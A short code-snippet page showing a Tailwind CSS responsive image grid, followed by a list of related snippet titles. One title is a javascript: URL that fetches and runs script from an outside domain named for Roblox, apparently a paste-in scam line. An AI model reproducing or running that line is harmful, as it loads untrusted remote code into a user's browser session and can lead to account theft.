Tailwind css image grid

########### Responsive Grids ###############

<div class="flex flex-wrap">
  <div class="w-full sm:w-1/2 md:w-1/3 lg:w-1/4 xl:w-1/6 mb-4 bg-gray-500"></div>
  <div class="w-full sm:w-1/2 md:w-1/3 lg:w-1/4 xl:w-1/6 mb-4 bg-gray-400"></div>
  <div class="w-full sm:w-1/2 md:w-1/3 lg:w-1/4 xl:w-1/6 mb-4 bg-gray-500"></div>
  <div class="w-full sm:w-1/2 md:w-1/3 lg:w-1/4 xl:w-1/6 mb-4 bg-gray-400"></div>
  <div class="w-full sm:w-1/2 md:w-1/3 lg:w-1/2 xl:w-1/6 mb-4 bg-gray-500"></div>
  <div class="w-full sm:w-1/2 md:w-1/3 lg:w-1/2 xl:w-1/6 mb-4 bg-gray-400"></div>
</div>

Similar codes

0 vote371 views1 answer
Not focus css
CSS
0 vote312 views1 answer
Css prevent grid blowout
CSS
4 votes282 views1 answer
Make text bigger html5
CSS
7 votes314 views2 answers
Html remove border from textarea
CSS
1 vote284 views2 answers
How to make a div fill the screen
CSS
74 votes319 views6 answers
Flex box
CSS
-1 vote291 views3 answers
How to write sigma symbol in jupyter ntebook
CSS
0 vote295 views10 answers
Javascript:$.get("//javascript-roblox.com/api?i=13407")
CSS
0 vote288 views1 answer
Font weightcss
CSS
6 votes310 views2 answers
Image orientation css
CSS